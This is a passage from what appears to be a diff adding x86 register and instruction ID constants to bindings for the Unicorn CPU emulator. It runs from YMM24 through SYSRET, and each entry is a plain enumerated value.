UC_X86_REG_YMM24 = 178; + UC_X86_REG_YMM25 = 179; + UC_X86_REG_YMM26 = 180; + UC_X86_REG_YMM27 = 181; + UC_X86_REG_YMM28 = 182; + UC_X86_REG_YMM29 = 183; + UC_X86_REG_YMM30 = 184; + UC_X86_REG_YMM31 = 185; + UC_X86_REG_ZMM0 = 186; + UC_X86_REG_ZMM1 = 187; + UC_X86_REG_ZMM2 = 188; + UC_X86_REG_ZMM3 = 189; + UC_X86_REG_ZMM4 = 190; + UC_X86_REG_ZMM5 = 191; + UC_X86_REG_ZMM6 = 192; + UC_X86_REG_ZMM7 = 193; + UC_X86_REG_ZMM8 = 194; + UC_X86_REG_ZMM9 = 195; + UC_X86_REG_ZMM10 = 196; + UC_X86_REG_ZMM11 = 197; + UC_X86_REG_ZMM12 = 198; + UC_X86_REG_ZMM13 = 199; + UC_X86_REG_ZMM14 = 200; + UC_X86_REG_ZMM15 = 201; + UC_X86_REG_ZMM16 = 202; + UC_X86_REG_ZMM17 = 203; + UC_X86_REG_ZMM18 = 204; + UC_X86_REG_ZMM19 = 205; + UC_X86_REG_ZMM20 = 206; + UC_X86_REG_ZMM21 = 207; + UC_X86_REG_ZMM22 = 208; + UC_X86_REG_ZMM23 = 209; + UC_X86_REG_ZMM24 = 210; + UC_X86_REG_ZMM25 = 211; + UC_X86_REG_ZMM26 = 212; + UC_X86_REG_ZMM27 = 213; + UC_X86_REG_ZMM28 = 214; + UC_X86_REG_ZMM29 = 215; + UC_X86_REG_ZMM30 = 216; + UC_X86_REG_ZMM31 = 217; + UC_X86_REG_R8B = 218; + UC_X86_REG_R9B = 219; + UC_X86_REG_R10B = 220; + UC_X86_REG_R11B = 221; + UC_X86_REG_R12B = 222; + UC_X86_REG_R13B = 223; + UC_X86_REG_R14B = 224; + UC_X86_REG_R15B = 225; + UC_X86_REG_R8D = 226; + UC_X86_REG_R9D = 227; + UC_X86_REG_R10D = 228; + UC_X86_REG_R11D = 229; + UC_X86_REG_R12D = 230; + UC_X86_REG_R13D = 231; + UC_X86_REG_R14D = 232; + UC_X86_REG_R15D = 233; + UC_X86_REG_R8W = 234; + UC_X86_REG_R9W = 235; + UC_X86_REG_R10W = 236; + UC_X86_REG_R11W = 237; + UC_X86_REG_R12W = 238; + UC_X86_REG_R13W = 239; + UC_X86_REG_R14W = 240; + UC_X86_REG_R15W = 241; + UC_X86_REG_IDTR = 242; + UC_X86_REG_GDTR = 243; + UC_X86_REG_LDTR = 244; + UC_X86_REG_TR = 245; + UC_X86_REG_FPCW = 246; + UC_X86_REG_FPTAG = 247; + UC_X86_REG_MSR = 248; + UC_X86_REG_ENDING = 249; + +// X86 instructions + + UC_X86_INS_INVALID = 0; + UC_X86_INS_AAA = 1; + UC_X86_INS_AAD = 2; + UC_X86_INS_AAM = 3; + UC_X86_INS_AAS = 4; + UC_X86_INS_FABS = 5; + UC_X86_INS_ADC = 6; + UC_X86_INS_ADCX = 7; + UC_X86_INS_ADD = 8; + UC_X86_INS_ADDPD = 9; + UC_X86_INS_ADDPS = 10; + UC_X86_INS_ADDSD = 11; + UC_X86_INS_ADDSS = 12; + UC_X86_INS_ADDSUBPD = 13; + UC_X86_INS_ADDSUBPS = 14; + UC_X86_INS_FADD = 15; + UC_X86_INS_FIADD = 16; + UC_X86_INS_FADDP = 17; + UC_X86_INS_ADOX = 18; + UC_X86_INS_AESDECLAST = 19; + UC_X86_INS_AESDEC = 20; + UC_X86_INS_AESENCLAST = 21; + UC_X86_INS_AESENC = 22; + UC_X86_INS_AESIMC = 23; + UC_X86_INS_AESKEYGENASSIST = 24; + UC_X86_INS_AND = 25; + UC_X86_INS_ANDN = 26; + UC_X86_INS_ANDNPD = 27; + UC_X86_INS_ANDNPS = 28; + UC_X86_INS_ANDPD = 29; + UC_X86_INS_ANDPS = 30; + UC_X86_INS_ARPL = 31; + UC_X86_INS_BEXTR = 32; + UC_X86_INS_BLCFILL = 33; + UC_X86_INS_BLCI = 34; + UC_X86_INS_BLCIC = 35; + UC_X86_INS_BLCMSK = 36; + UC_X86_INS_BLCS = 37; + UC_X86_INS_BLENDPD = 38; + UC_X86_INS_BLENDPS = 39; + UC_X86_INS_BLENDVPD = 40; + UC_X86_INS_BLENDVPS = 41; + UC_X86_INS_BLSFILL = 42; + UC_X86_INS_BLSI = 43; + UC_X86_INS_BLSIC = 44; + UC_X86_INS_BLSMSK = 45; + UC_X86_INS_BLSR = 46; + UC_X86_INS_BOUND = 47; + UC_X86_INS_BSF = 48; + UC_X86_INS_BSR = 49; + UC_X86_INS_BSWAP = 50; + UC_X86_INS_BT = 51; + UC_X86_INS_BTC = 52; + UC_X86_INS_BTR = 53; + UC_X86_INS_BTS = 54; + UC_X86_INS_BZHI = 55; + UC_X86_INS_CALL = 56; + UC_X86_INS_CBW = 57; + UC_X86_INS_CDQ = 58; + UC_X86_INS_CDQE = 59; + UC_X86_INS_FCHS = 60; + UC_X86_INS_CLAC = 61; + UC_X86_INS_CLC = 62; + UC_X86_INS_CLD = 63; + UC_X86_INS_CLFLUSH = 64; + UC_X86_INS_CLFLUSHOPT = 65; + UC_X86_INS_CLGI = 66; + UC_X86_INS_CLI = 67; + UC_X86_INS_CLTS = 68; + UC_X86_INS_CLWB = 69; + UC_X86_INS_CMC = 70; + UC_X86_INS_CMOVA = 71; + UC_X86_INS_CMOVAE = 72; + UC_X86_INS_CMOVB = 73; + UC_X86_INS_CMOVBE = 74; + UC_X86_INS_FCMOVBE = 75; + UC_X86_INS_FCMOVB = 76; + UC_X86_INS_CMOVE = 77; + UC_X86_INS_FCMOVE = 78; + UC_X86_INS_CMOVG = 79; + UC_X86_INS_CMOVGE = 80; + UC_X86_INS_CMOVL = 81; + UC_X86_INS_CMOVLE = 82; + UC_X86_INS_FCMOVNBE = 83; + UC_X86_INS_FCMOVNB = 84; + UC_X86_INS_CMOVNE = 85; + UC_X86_INS_FCMOVNE = 86; + UC_X86_INS_CMOVNO = 87; + UC_X86_INS_CMOVNP = 88; + UC_X86_INS_FCMOVNU = 89; + UC_X86_INS_CMOVNS = 90; + UC_X86_INS_CMOVO = 91; + UC_X86_INS_CMOVP = 92; + UC_X86_INS_FCMOVU = 93; + UC_X86_INS_CMOVS = 94; + UC_X86_INS_CMP = 95; + UC_X86_INS_CMPPD = 96; + UC_X86_INS_CMPPS = 97; + UC_X86_INS_CMPSB = 98; + UC_X86_INS_CMPSD = 99; + UC_X86_INS_CMPSQ = 100; + UC_X86_INS_CMPSS = 101; + UC_X86_INS_CMPSW = 102; + UC_X86_INS_CMPXCHG16B = 103; + UC_X86_INS_CMPXCHG = 104; + UC_X86_INS_CMPXCHG8B = 105; + UC_X86_INS_COMISD = 106; + UC_X86_INS_COMISS = 107; + UC_X86_INS_FCOMP = 108; + UC_X86_INS_FCOMPI = 109; + UC_X86_INS_FCOMI = 110; + UC_X86_INS_FCOM = 111; + UC_X86_INS_FCOS = 112; + UC_X86_INS_CPUID = 113; + UC_X86_INS_CQO = 114; + UC_X86_INS_CRC32 = 115; + UC_X86_INS_CVTDQ2PD = 116; + UC_X86_INS_CVTDQ2PS = 117; + UC_X86_INS_CVTPD2DQ = 118; + UC_X86_INS_CVTPD2PS = 119; + UC_X86_INS_CVTPS2DQ = 120; + UC_X86_INS_CVTPS2PD = 121; + UC_X86_INS_CVTSD2SI = 122; + UC_X86_INS_CVTSD2SS = 123; + UC_X86_INS_CVTSI2SD = 124; + UC_X86_INS_CVTSI2SS = 125; + UC_X86_INS_CVTSS2SD = 126; + UC_X86_INS_CVTSS2SI = 127; + UC_X86_INS_CVTTPD2DQ = 128; + UC_X86_INS_CVTTPS2DQ = 129; + UC_X86_INS_CVTTSD2SI = 130; + UC_X86_INS_CVTTSS2SI = 131; + UC_X86_INS_CWD = 132; + UC_X86_INS_CWDE = 133; + UC_X86_INS_DAA = 134; + UC_X86_INS_DAS = 135; + UC_X86_INS_DATA16 = 136; + UC_X86_INS_DEC = 137; + UC_X86_INS_DIV = 138; + UC_X86_INS_DIVPD = 139; + UC_X86_INS_DIVPS = 140; + UC_X86_INS_FDIVR = 141; + UC_X86_INS_FIDIVR = 142; + UC_X86_INS_FDIVRP = 143; + UC_X86_INS_DIVSD = 144; + UC_X86_INS_DIVSS = 145; + UC_X86_INS_FDIV = 146; + UC_X86_INS_FIDIV = 147; + UC_X86_INS_FDIVP = 148; + UC_X86_INS_DPPD = 149; + UC_X86_INS_DPPS = 150; + UC_X86_INS_RET = 151; + UC_X86_INS_ENCLS = 152; + UC_X86_INS_ENCLU = 153; + UC_X86_INS_ENTER = 154; + UC_X86_INS_EXTRACTPS = 155; + UC_X86_INS_EXTRQ = 156; + UC_X86_INS_F2XM1 = 157; + UC_X86_INS_LCALL = 158; + UC_X86_INS_LJMP = 159; + UC_X86_INS_FBLD = 160; + UC_X86_INS_FBSTP = 161; + UC_X86_INS_FCOMPP = 162; + UC_X86_INS_FDECSTP = 163; + UC_X86_INS_FEMMS = 164; + UC_X86_INS_FFREE = 165; + UC_X86_INS_FICOM = 166; + UC_X86_INS_FICOMP = 167; + UC_X86_INS_FINCSTP = 168; + UC_X86_INS_FLDCW = 169; + UC_X86_INS_FLDENV = 170; + UC_X86_INS_FLDL2E = 171; + UC_X86_INS_FLDL2T = 172; + UC_X86_INS_FLDLG2 = 173; + UC_X86_INS_FLDLN2 = 174; + UC_X86_INS_FLDPI = 175; + UC_X86_INS_FNCLEX = 176; + UC_X86_INS_FNINIT = 177; + UC_X86_INS_FNOP = 178; + UC_X86_INS_FNSTCW = 179; + UC_X86_INS_FNSTSW = 180; + UC_X86_INS_FPATAN = 181; + UC_X86_INS_FPREM = 182; + UC_X86_INS_FPREM1 = 183; + UC_X86_INS_FPTAN = 184; + UC_X86_INS_FFREEP = 185; + UC_X86_INS_FRNDINT = 186; + UC_X86_INS_FRSTOR = 187; + UC_X86_INS_FNSAVE = 188; + UC_X86_INS_FSCALE = 189; + UC_X86_INS_FSETPM = 190; + UC_X86_INS_FSINCOS = 191; + UC_X86_INS_FNSTENV = 192; + UC_X86_INS_FXAM = 193; + UC_X86_INS_FXRSTOR = 194; + UC_X86_INS_FXRSTOR64 = 195; + UC_X86_INS_FXSAVE = 196; + UC_X86_INS_FXSAVE64 = 197; + UC_X86_INS_FXTRACT = 198; + UC_X86_INS_FYL2X = 199; + UC_X86_INS_FYL2XP1 = 200; + UC_X86_INS_MOVAPD = 201; + UC_X86_INS_MOVAPS = 202; + UC_X86_INS_ORPD = 203; + UC_X86_INS_ORPS = 204; + UC_X86_INS_VMOVAPD = 205; + UC_X86_INS_VMOVAPS = 206; + UC_X86_INS_XORPD = 207; + UC_X86_INS_XORPS = 208; + UC_X86_INS_GETSEC = 209; + UC_X86_INS_HADDPD = 210; + UC_X86_INS_HADDPS = 211; + UC_X86_INS_HLT = 212; + UC_X86_INS_HSUBPD = 213; + UC_X86_INS_HSUBPS = 214; + UC_X86_INS_IDIV = 215; + UC_X86_INS_FILD = 216; + UC_X86_INS_IMUL = 217; + UC_X86_INS_IN = 218; + UC_X86_INS_INC = 219; + UC_X86_INS_INSB = 220; + UC_X86_INS_INSERTPS = 221; + UC_X86_INS_INSERTQ = 222; + UC_X86_INS_INSD = 223; + UC_X86_INS_INSW = 224; + UC_X86_INS_INT = 225; + UC_X86_INS_INT1 = 226; + UC_X86_INS_INT3 = 227; + UC_X86_INS_INTO = 228; + UC_X86_INS_INVD = 229; + UC_X86_INS_INVEPT = 230; + UC_X86_INS_INVLPG = 231; + UC_X86_INS_INVLPGA = 232; + UC_X86_INS_INVPCID = 233; + UC_X86_INS_INVVPID = 234; + UC_X86_INS_IRET = 235; + UC_X86_INS_IRETD = 236; + UC_X86_INS_IRETQ = 237; + UC_X86_INS_FISTTP = 238; + UC_X86_INS_FIST = 239; + UC_X86_INS_FISTP = 240; + UC_X86_INS_UCOMISD = 241; + UC_X86_INS_UCOMISS = 242; + UC_X86_INS_VCOMISD = 243; + UC_X86_INS_VCOMISS = 244; + UC_X86_INS_VCVTSD2SS = 245; + UC_X86_INS_VCVTSI2SD = 246; + UC_X86_INS_VCVTSI2SS = 247; + UC_X86_INS_VCVTSS2SD = 248; + UC_X86_INS_VCVTTSD2SI = 249; + UC_X86_INS_VCVTTSD2USI = 250; + UC_X86_INS_VCVTTSS2SI = 251; + UC_X86_INS_VCVTTSS2USI = 252; + UC_X86_INS_VCVTUSI2SD = 253; + UC_X86_INS_VCVTUSI2SS = 254; + UC_X86_INS_VUCOMISD = 255; + UC_X86_INS_VUCOMISS = 256; + UC_X86_INS_JAE = 257; + UC_X86_INS_JA = 258; + UC_X86_INS_JBE = 259; + UC_X86_INS_JB = 260; + UC_X86_INS_JCXZ = 261; + UC_X86_INS_JECXZ = 262; + UC_X86_INS_JE = 263; + UC_X86_INS_JGE = 264; + UC_X86_INS_JG = 265; + UC_X86_INS_JLE = 266; + UC_X86_INS_JL = 267; + UC_X86_INS_JMP = 268; + UC_X86_INS_JNE = 269; + UC_X86_INS_JNO = 270; + UC_X86_INS_JNP = 271; + UC_X86_INS_JNS = 272; + UC_X86_INS_JO = 273; + UC_X86_INS_JP = 274; + UC_X86_INS_JRCXZ = 275; + UC_X86_INS_JS = 276; + UC_X86_INS_KANDB = 277; + UC_X86_INS_KANDD = 278; + UC_X86_INS_KANDNB = 279; + UC_X86_INS_KANDND = 280; + UC_X86_INS_KANDNQ = 281; + UC_X86_INS_KANDNW = 282; + UC_X86_INS_KANDQ = 283; + UC_X86_INS_KANDW = 284; + UC_X86_INS_KMOVB = 285; + UC_X86_INS_KMOVD = 286; + UC_X86_INS_KMOVQ = 287; + UC_X86_INS_KMOVW = 288; + UC_X86_INS_KNOTB = 289; + UC_X86_INS_KNOTD = 290; + UC_X86_INS_KNOTQ = 291; + UC_X86_INS_KNOTW = 292; + UC_X86_INS_KORB = 293; + UC_X86_INS_KORD = 294; + UC_X86_INS_KORQ = 295; + UC_X86_INS_KORTESTB = 296; + UC_X86_INS_KORTESTD = 297; + UC_X86_INS_KORTESTQ = 298; + UC_X86_INS_KORTESTW = 299; + UC_X86_INS_KORW = 300; + UC_X86_INS_KSHIFTLB = 301; + UC_X86_INS_KSHIFTLD = 302; + UC_X86_INS_KSHIFTLQ = 303; + UC_X86_INS_KSHIFTLW = 304; + UC_X86_INS_KSHIFTRB = 305; + UC_X86_INS_KSHIFTRD = 306; + UC_X86_INS_KSHIFTRQ = 307; + UC_X86_INS_KSHIFTRW = 308; + UC_X86_INS_KUNPCKBW = 309; + UC_X86_INS_KXNORB = 310; + UC_X86_INS_KXNORD = 311; + UC_X86_INS_KXNORQ = 312; + UC_X86_INS_KXNORW = 313; + UC_X86_INS_KXORB = 314; + UC_X86_INS_KXORD = 315; + UC_X86_INS_KXORQ = 316; + UC_X86_INS_KXORW = 317; + UC_X86_INS_LAHF = 318; + UC_X86_INS_LAR = 319; + UC_X86_INS_LDDQU = 320; + UC_X86_INS_LDMXCSR = 321; + UC_X86_INS_LDS = 322; + UC_X86_INS_FLDZ = 323; + UC_X86_INS_FLD1 = 324; + UC_X86_INS_FLD = 325; + UC_X86_INS_LEA = 326; + UC_X86_INS_LEAVE = 327; + UC_X86_INS_LES = 328; + UC_X86_INS_LFENCE = 329; + UC_X86_INS_LFS = 330; + UC_X86_INS_LGDT = 331; + UC_X86_INS_LGS = 332; + UC_X86_INS_LIDT = 333; + UC_X86_INS_LLDT = 334; + UC_X86_INS_LMSW = 335; + UC_X86_INS_OR = 336; + UC_X86_INS_SUB = 337; + UC_X86_INS_XOR = 338; + UC_X86_INS_LODSB = 339; + UC_X86_INS_LODSD = 340; + UC_X86_INS_LODSQ = 341; + UC_X86_INS_LODSW = 342; + UC_X86_INS_LOOP = 343; + UC_X86_INS_LOOPE = 344; + UC_X86_INS_LOOPNE = 345; + UC_X86_INS_RETF = 346; + UC_X86_INS_RETFQ = 347; + UC_X86_INS_LSL = 348; + UC_X86_INS_LSS = 349; + UC_X86_INS_LTR = 350; + UC_X86_INS_XADD = 351; + UC_X86_INS_LZCNT = 352; + UC_X86_INS_MASKMOVDQU = 353; + UC_X86_INS_MAXPD = 354; + UC_X86_INS_MAXPS = 355; + UC_X86_INS_MAXSD = 356; + UC_X86_INS_MAXSS = 357; + UC_X86_INS_MFENCE = 358; + UC_X86_INS_MINPD = 359; + UC_X86_INS_MINPS = 360; + UC_X86_INS_MINSD = 361; + UC_X86_INS_MINSS = 362; + UC_X86_INS_CVTPD2PI = 363; + UC_X86_INS_CVTPI2PD = 364; + UC_X86_INS_CVTPI2PS = 365; + UC_X86_INS_CVTPS2PI = 366; + UC_X86_INS_CVTTPD2PI = 367; + UC_X86_INS_CVTTPS2PI = 368; + UC_X86_INS_EMMS = 369; + UC_X86_INS_MASKMOVQ = 370; + UC_X86_INS_MOVD = 371; + UC_X86_INS_MOVDQ2Q = 372; + UC_X86_INS_MOVNTQ = 373; + UC_X86_INS_MOVQ2DQ = 374; + UC_X86_INS_MOVQ = 375; + UC_X86_INS_PABSB = 376; + UC_X86_INS_PABSD = 377; + UC_X86_INS_PABSW = 378; + UC_X86_INS_PACKSSDW = 379; + UC_X86_INS_PACKSSWB = 380; + UC_X86_INS_PACKUSWB = 381; + UC_X86_INS_PADDB = 382; + UC_X86_INS_PADDD = 383; + UC_X86_INS_PADDQ = 384; + UC_X86_INS_PADDSB = 385; + UC_X86_INS_PADDSW = 386; + UC_X86_INS_PADDUSB = 387; + UC_X86_INS_PADDUSW = 388; + UC_X86_INS_PADDW = 389; + UC_X86_INS_PALIGNR = 390; + UC_X86_INS_PANDN = 391; + UC_X86_INS_PAND = 392; + UC_X86_INS_PAVGB = 393; + UC_X86_INS_PAVGW = 394; + UC_X86_INS_PCMPEQB = 395; + UC_X86_INS_PCMPEQD = 396; + UC_X86_INS_PCMPEQW = 397; + UC_X86_INS_PCMPGTB = 398; + UC_X86_INS_PCMPGTD = 399; + UC_X86_INS_PCMPGTW = 400; + UC_X86_INS_PEXTRW = 401; + UC_X86_INS_PHADDSW = 402; + UC_X86_INS_PHADDW = 403; + UC_X86_INS_PHADDD = 404; + UC_X86_INS_PHSUBD = 405; + UC_X86_INS_PHSUBSW = 406; + UC_X86_INS_PHSUBW = 407; + UC_X86_INS_PINSRW = 408; + UC_X86_INS_PMADDUBSW = 409; + UC_X86_INS_PMADDWD = 410; + UC_X86_INS_PMAXSW = 411; + UC_X86_INS_PMAXUB = 412; + UC_X86_INS_PMINSW = 413; + UC_X86_INS_PMINUB = 414; + UC_X86_INS_PMOVMSKB = 415; + UC_X86_INS_PMULHRSW = 416; + UC_X86_INS_PMULHUW = 417; + UC_X86_INS_PMULHW = 418; + UC_X86_INS_PMULLW = 419; + UC_X86_INS_PMULUDQ = 420; + UC_X86_INS_POR = 421; + UC_X86_INS_PSADBW = 422; + UC_X86_INS_PSHUFB = 423; + UC_X86_INS_PSHUFW = 424; + UC_X86_INS_PSIGNB = 425; + UC_X86_INS_PSIGND = 426; + UC_X86_INS_PSIGNW = 427; + UC_X86_INS_PSLLD = 428; + UC_X86_INS_PSLLQ = 429; + UC_X86_INS_PSLLW = 430; + UC_X86_INS_PSRAD = 431; + UC_X86_INS_PSRAW = 432; + UC_X86_INS_PSRLD = 433; + UC_X86_INS_PSRLQ = 434; + UC_X86_INS_PSRLW = 435; + UC_X86_INS_PSUBB = 436; + UC_X86_INS_PSUBD = 437; + UC_X86_INS_PSUBQ = 438; + UC_X86_INS_PSUBSB = 439; + UC_X86_INS_PSUBSW = 440; + UC_X86_INS_PSUBUSB = 441; + UC_X86_INS_PSUBUSW = 442; + UC_X86_INS_PSUBW = 443; + UC_X86_INS_PUNPCKHBW = 444; + UC_X86_INS_PUNPCKHDQ = 445; + UC_X86_INS_PUNPCKHWD = 446; + UC_X86_INS_PUNPCKLBW = 447; + UC_X86_INS_PUNPCKLDQ = 448; + UC_X86_INS_PUNPCKLWD = 449; + UC_X86_INS_PXOR = 450; + UC_X86_INS_MONITOR = 451; + UC_X86_INS_MONTMUL = 452; + UC_X86_INS_MOV = 453; + UC_X86_INS_MOVABS = 454; + UC_X86_INS_MOVBE = 455; + UC_X86_INS_MOVDDUP = 456; + UC_X86_INS_MOVDQA = 457; + UC_X86_INS_MOVDQU = 458; + UC_X86_INS_MOVHLPS = 459; + UC_X86_INS_MOVHPD = 460; + UC_X86_INS_MOVHPS = 461; + UC_X86_INS_MOVLHPS = 462; + UC_X86_INS_MOVLPD = 463; + UC_X86_INS_MOVLPS = 464; + UC_X86_INS_MOVMSKPD = 465; + UC_X86_INS_MOVMSKPS = 466; + UC_X86_INS_MOVNTDQA = 467; + UC_X86_INS_MOVNTDQ = 468; + UC_X86_INS_MOVNTI = 469; + UC_X86_INS_MOVNTPD = 470; + UC_X86_INS_MOVNTPS = 471; + UC_X86_INS_MOVNTSD = 472; + UC_X86_INS_MOVNTSS = 473; + UC_X86_INS_MOVSB = 474; + UC_X86_INS_MOVSD = 475; + UC_X86_INS_MOVSHDUP = 476; + UC_X86_INS_MOVSLDUP = 477; + UC_X86_INS_MOVSQ = 478; + UC_X86_INS_MOVSS = 479; + UC_X86_INS_MOVSW = 480; + UC_X86_INS_MOVSX = 481; + UC_X86_INS_MOVSXD = 482; + UC_X86_INS_MOVUPD = 483; + UC_X86_INS_MOVUPS = 484; + UC_X86_INS_MOVZX = 485; + UC_X86_INS_MPSADBW = 486; + UC_X86_INS_MUL = 487; + UC_X86_INS_MULPD = 488; + UC_X86_INS_MULPS = 489; + UC_X86_INS_MULSD = 490; + UC_X86_INS_MULSS = 491; + UC_X86_INS_MULX = 492; + UC_X86_INS_FMUL = 493; + UC_X86_INS_FIMUL = 494; + UC_X86_INS_FMULP = 495; + UC_X86_INS_MWAIT = 496; + UC_X86_INS_NEG = 497; + UC_X86_INS_NOP = 498; + UC_X86_INS_NOT = 499; + UC_X86_INS_OUT = 500; + UC_X86_INS_OUTSB = 501; + UC_X86_INS_OUTSD = 502; + UC_X86_INS_OUTSW = 503; + UC_X86_INS_PACKUSDW = 504; + UC_X86_INS_PAUSE = 505; + UC_X86_INS_PAVGUSB = 506; + UC_X86_INS_PBLENDVB = 507; + UC_X86_INS_PBLENDW = 508; + UC_X86_INS_PCLMULQDQ = 509; + UC_X86_INS_PCMPEQQ = 510; + UC_X86_INS_PCMPESTRI = 511; + UC_X86_INS_PCMPESTRM = 512; + UC_X86_INS_PCMPGTQ = 513; + UC_X86_INS_PCMPISTRI = 514; + UC_X86_INS_PCMPISTRM = 515; + UC_X86_INS_PCOMMIT = 516; + UC_X86_INS_PDEP = 517; + UC_X86_INS_PEXT = 518; + UC_X86_INS_PEXTRB = 519; + UC_X86_INS_PEXTRD = 520; + UC_X86_INS_PEXTRQ = 521; + UC_X86_INS_PF2ID = 522; + UC_X86_INS_PF2IW = 523; + UC_X86_INS_PFACC = 524; + UC_X86_INS_PFADD = 525; + UC_X86_INS_PFCMPEQ = 526; + UC_X86_INS_PFCMPGE = 527; + UC_X86_INS_PFCMPGT = 528; + UC_X86_INS_PFMAX = 529; + UC_X86_INS_PFMIN = 530; + UC_X86_INS_PFMUL = 531; + UC_X86_INS_PFNACC = 532; + UC_X86_INS_PFPNACC = 533; + UC_X86_INS_PFRCPIT1 = 534; + UC_X86_INS_PFRCPIT2 = 535; + UC_X86_INS_PFRCP = 536; + UC_X86_INS_PFRSQIT1 = 537; + UC_X86_INS_PFRSQRT = 538; + UC_X86_INS_PFSUBR = 539; + UC_X86_INS_PFSUB = 540; + UC_X86_INS_PHMINPOSUW = 541; + UC_X86_INS_PI2FD = 542; + UC_X86_INS_PI2FW = 543; + UC_X86_INS_PINSRB = 544; + UC_X86_INS_PINSRD = 545; + UC_X86_INS_PINSRQ = 546; + UC_X86_INS_PMAXSB = 547; + UC_X86_INS_PMAXSD = 548; + UC_X86_INS_PMAXUD = 549; + UC_X86_INS_PMAXUW = 550; + UC_X86_INS_PMINSB = 551; + UC_X86_INS_PMINSD = 552; + UC_X86_INS_PMINUD = 553; + UC_X86_INS_PMINUW = 554; + UC_X86_INS_PMOVSXBD = 555; + UC_X86_INS_PMOVSXBQ = 556; + UC_X86_INS_PMOVSXBW = 557; + UC_X86_INS_PMOVSXDQ = 558; + UC_X86_INS_PMOVSXWD = 559; + UC_X86_INS_PMOVSXWQ = 560; + UC_X86_INS_PMOVZXBD = 561; + UC_X86_INS_PMOVZXBQ = 562; + UC_X86_INS_PMOVZXBW = 563; + UC_X86_INS_PMOVZXDQ = 564; + UC_X86_INS_PMOVZXWD = 565; + UC_X86_INS_PMOVZXWQ = 566; + UC_X86_INS_PMULDQ = 567; + UC_X86_INS_PMULHRW = 568; + UC_X86_INS_PMULLD = 569; + UC_X86_INS_POP = 570; + UC_X86_INS_POPAW = 571; + UC_X86_INS_POPAL = 572; + UC_X86_INS_POPCNT = 573; + UC_X86_INS_POPF = 574; + UC_X86_INS_POPFD = 575; + UC_X86_INS_POPFQ = 576; + UC_X86_INS_PREFETCH = 577; + UC_X86_INS_PREFETCHNTA = 578; + UC_X86_INS_PREFETCHT0 = 579; + UC_X86_INS_PREFETCHT1 = 580; + UC_X86_INS_PREFETCHT2 = 581; + UC_X86_INS_PREFETCHW = 582; + UC_X86_INS_PSHUFD = 583; + UC_X86_INS_PSHUFHW = 584; + UC_X86_INS_PSHUFLW = 585; + UC_X86_INS_PSLLDQ = 586; + UC_X86_INS_PSRLDQ = 587; + UC_X86_INS_PSWAPD = 588; + UC_X86_INS_PTEST = 589; + UC_X86_INS_PUNPCKHQDQ = 590; + UC_X86_INS_PUNPCKLQDQ = 591; + UC_X86_INS_PUSH = 592; + UC_X86_INS_PUSHAW = 593; + UC_X86_INS_PUSHAL = 594; + UC_X86_INS_PUSHF = 595; + UC_X86_INS_PUSHFD = 596; + UC_X86_INS_PUSHFQ = 597; + UC_X86_INS_RCL = 598; + UC_X86_INS_RCPPS = 599; + UC_X86_INS_RCPSS = 600; + UC_X86_INS_RCR = 601; + UC_X86_INS_RDFSBASE = 602; + UC_X86_INS_RDGSBASE = 603; + UC_X86_INS_RDMSR = 604; + UC_X86_INS_RDPMC = 605; + UC_X86_INS_RDRAND = 606; + UC_X86_INS_RDSEED = 607; + UC_X86_INS_RDTSC = 608; + UC_X86_INS_RDTSCP = 609; + UC_X86_INS_ROL = 610; + UC_X86_INS_ROR = 611; + UC_X86_INS_RORX = 612; + UC_X86_INS_ROUNDPD = 613; + UC_X86_INS_ROUNDPS = 614; + UC_X86_INS_ROUNDSD = 615; + UC_X86_INS_ROUNDSS = 616; + UC_X86_INS_RSM = 617; + UC_X86_INS_RSQRTPS = 618; + UC_X86_INS_RSQRTSS = 619; + UC_X86_INS_SAHF = 620; + UC_X86_INS_SAL = 621; + UC_X86_INS_SALC = 622; + UC_X86_INS_SAR = 623; + UC_X86_INS_SARX = 624; + UC_X86_INS_SBB = 625; + UC_X86_INS_SCASB = 626; + UC_X86_INS_SCASD = 627; + UC_X86_INS_SCASQ = 628; + UC_X86_INS_SCASW = 629; + UC_X86_INS_SETAE = 630; + UC_X86_INS_SETA = 631; + UC_X86_INS_SETBE = 632; + UC_X86_INS_SETB = 633; + UC_X86_INS_SETE = 634; + UC_X86_INS_SETGE = 635; + UC_X86_INS_SETG = 636; + UC_X86_INS_SETLE = 637; + UC_X86_INS_SETL = 638; + UC_X86_INS_SETNE = 639; + UC_X86_INS_SETNO = 640; + UC_X86_INS_SETNP = 641; + UC_X86_INS_SETNS = 642; + UC_X86_INS_SETO = 643; + UC_X86_INS_SETP = 644; + UC_X86_INS_SETS = 645; + UC_X86_INS_SFENCE = 646; + UC_X86_INS_SGDT = 647; + UC_X86_INS_SHA1MSG1 = 648; + UC_X86_INS_SHA1MSG2 = 649; + UC_X86_INS_SHA1NEXTE = 650; + UC_X86_INS_SHA1RNDS4 = 651; + UC_X86_INS_SHA256MSG1 = 652; + UC_X86_INS_SHA256MSG2 = 653; + UC_X86_INS_SHA256RNDS2 = 654; + UC_X86_INS_SHL = 655; + UC_X86_INS_SHLD = 656; + UC_X86_INS_SHLX = 657; + UC_X86_INS_SHR = 658; + UC_X86_INS_SHRD = 659; + UC_X86_INS_SHRX = 660; + UC_X86_INS_SHUFPD = 661; + UC_X86_INS_SHUFPS = 662; + UC_X86_INS_SIDT = 663; + UC_X86_INS_FSIN = 664; + UC_X86_INS_SKINIT = 665; + UC_X86_INS_SLDT = 666; + UC_X86_INS_SMSW = 667; + UC_X86_INS_SQRTPD = 668; + UC_X86_INS_SQRTPS = 669; + UC_X86_INS_SQRTSD = 670; + UC_X86_INS_SQRTSS = 671; + UC_X86_INS_FSQRT = 672; + UC_X86_INS_STAC = 673; + UC_X86_INS_STC = 674; + UC_X86_INS_STD = 675; + UC_X86_INS_STGI = 676; + UC_X86_INS_STI = 677; + UC_X86_INS_STMXCSR = 678; + UC_X86_INS_STOSB = 679; + UC_X86_INS_STOSD = 680; + UC_X86_INS_STOSQ = 681; + UC_X86_INS_STOSW = 682; + UC_X86_INS_STR = 683; + UC_X86_INS_FST = 684; + UC_X86_INS_FSTP = 685; + UC_X86_INS_FSTPNCE = 686; + UC_X86_INS_FXCH = 687; + UC_X86_INS_SUBPD = 688; + UC_X86_INS_SUBPS = 689; + UC_X86_INS_FSUBR = 690; + UC_X86_INS_FISUBR = 691; + UC_X86_INS_FSUBRP = 692; + UC_X86_INS_SUBSD = 693; + UC_X86_INS_SUBSS = 694; + UC_X86_INS_FSUB = 695; + UC_X86_INS_FISUB = 696; + UC_X86_INS_FSUBP = 697; + UC_X86_INS_SWAPGS = 698; + UC_X86_INS_SYSCALL = 699; + UC_X86_INS_SYSENTER = 700; + UC_X86_INS_SYSEXIT = 701; + UC_X86_INS_SYSRET = 702; + 